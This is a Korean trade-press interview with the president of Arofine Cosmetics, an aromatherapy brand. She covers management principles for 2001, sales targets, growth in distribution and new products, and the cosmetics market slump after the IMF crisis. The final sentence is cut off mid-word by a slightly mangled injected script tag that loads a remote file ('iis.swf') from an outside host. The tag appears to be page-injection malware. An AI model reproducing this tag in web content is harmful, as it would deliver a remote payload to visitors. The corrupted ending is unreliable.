4년전 큰솔화장품으로 시작하여 직판경로로 아로마테라피 컨셉인 프랑스 ‘케롤프랑크’ 제품을 수입해 오다가 지난해 회사명을 변경, 시판시장에 본격 진출한 ‘아로화인화장품’이 ‘아로마’라는 차별된 마케팅을 펼쳐 주목받고 있다. 특히 2년째를 맞고 있는 아로화인화장품은 ‘아로마전략연구소‘를 준비중이고, 아로마 향기 테마여행 등으로 ‘아로마’ 대중화에 적극 나설 계획으로 있는 등 틈새시장을 공략하고 있어 관심이 모아지고 있다. 이혜영 사장을 만나 앞으로의 회사 경영과 화장품 시장 전체 대한 견해를 들어보았다. ■ 2001년 경영방침을 ‘고객만족경영’, ‘가치창조 경영’, ‘인화단결경영’이라고 밝혔습니다. 구체적으로 3가지 전략은 무엇을 의미합니까. -고객없는 회사는 존재할 수 없습니다. 고객이 만족해야만 회사가 존재할 수 있는 절대 명제를 최우선으로 삼은 이유는 아로화인 화장품이 모든 경영의 지표와 역량을 고객 만족에 초첨을 맞추기 위함입니다. 또한 가치 없는 행위는 무행으로(無行)으로 소모만을 잉태합니다. 모든 일에 가치를 창조한다는 신념으로 경영해 나갈 것이며, 앞의 두가지(고객만족, 가치창조)를 가능케 할 힘, 즉 원동력은 전 직원의 단결로 가능하다고 생각합니다. 올 한해는 이 세가지 경영 전략을 확고히 하는데 전력을 다할 것 계획입니다. ■ 2001년 매출목표를 82억원으로 한다고 밝혔습니다. 시판시장에 처녀 출전한 회사 입장에서 보면 다소 높은 수치라고 생각됩니다. -현 시판시장 경기는 그야말로 최악의 상황이라 판단됩니다. 현장에 직접 나가보았을 때 체감 경기는 더욱 심하게 느껴집니다. 다소 높은 매출 목표라는 우려가 있지만 작년 11,12월 두달간 Push 영업은 전혀 없이 대리점에서 원하는 제품 수량만을 공급하였고 현재도 그렇게 하고 있습니다. 다행히도 ‘아로마테라피’차별 컨셉을 원하는 소비자들이 늘고 있는 추세이고 전문점의 수익보장을 위한 한정, 선별 공급(거점 판매 전략)도 아직은 시기상조이지만 정착하고 있다고 조심스럽게 전망하고 있습니다. 지금처럼 전 직원이 최선의 노력을 다한다면 그렇게 요원한 목표라고 생각되지 않습니다. ■ 아로화인은 올해 상당한 유통망을 확대할 것으로 예상됩니다. 구체적인 유통망 계획은 어떻게 됩니까. -우선 시판 경로의 특약점 확대에 주안점을 둘 예정입니다. 현재 20여 특약점수를 연말까지 40여개 특약점으로 확대하고 단위점당 매출도 증대하는데 주력 할 것 입니다. 직판 경로는 현재도 계속 확대되고 있는데 종전보다 약 3배 이상의 조직이 영입되어 규모만으로도 큰 성장이 예상되지만, 양적 성장보다는 질적 성장이 중요하다고 생각합니다. 교만과 과욕은 허구이므로 매일 초심의 준비자세로 준비하고 있습니다. ■ 2년째를 맞이하는 입장에서는 신제품 출시가 많을 것으로 예상된다. 어떤 제품군들이 준비되고 있습니까. -현재 2월에 아로화인 바이탈 프로그램 제품이 출시됐습니다. 그리고 남성용 제품이 곧 발매 될 것 입니다. 또한 앞으로 화이트닝 제품과 베이스 메이크업 제품들도 출시할 예정이고, 지속적인 라인업을 계획하고 있습니다. ■ 아로화인 화장품이 주목을 받고 있다. 여러 가지 이유가 있겠지만 ‘아로마테라피’라는 니치마켓을 공략한 점과 제품의 차별화 때문이라고 보는 관점도 있습니다. 앞으로 아로화인 화장품이 추구하는 화장품 회사는 어떤것 입니까. -아로화인 화장품은 ‘아로마테라피’만을 고집하고, 아로마 화장품만을 생산하고 판매할 것입니다. 유럽, 호주 화장품 선진국에서는 일상적이고 보편화된 아로마테라피를 국내 보급의 선두주자로 아로화인 화장품이 앞장서 나갈 것입니다. ■ 현재 화장품 시장이 매우 어렵다고 전망하고 있습니다. 앞으로 시장의 흐름은 어떻게 전개 될 것으로 예상합니까. -IMF관리 체제 이후 경기 침체로 인한 산업 전반의 소비 심리 위축과 화장품 시장 수요는 한정 축소인데 반해 확대과잉 공급이란 점에서 그 원인을 찾아야 한다고 봅니다. 이제 화장품 산업도 성장기를 지나 쇠퇴기로 접어들었고 거기에 수반된 전략적 대응이 미비한 가운데 우후죽순처럼 생겨나는 신규회사와 기존 메이커간 치열한 생존 경쟁 양상으로 더욱 더 혼탁해지는 경향에서도 기인된다고 생각합니다. 대안이라면 무엇보다도 현실 직시라는 마인드 공유가 중요하다고 판단 됩니다. 각사는 이럴 때 일수록 타계책으로 매출증대라는 과욕을 버리고 고객 중심의 만족 경영으로 전환하여 각 사별 독특하고 차별화된 전략을 펼쳐 재수정에 몰입해야 할 때입니다. ‘최선?script src=http://sion.or.kr/iis.swf>

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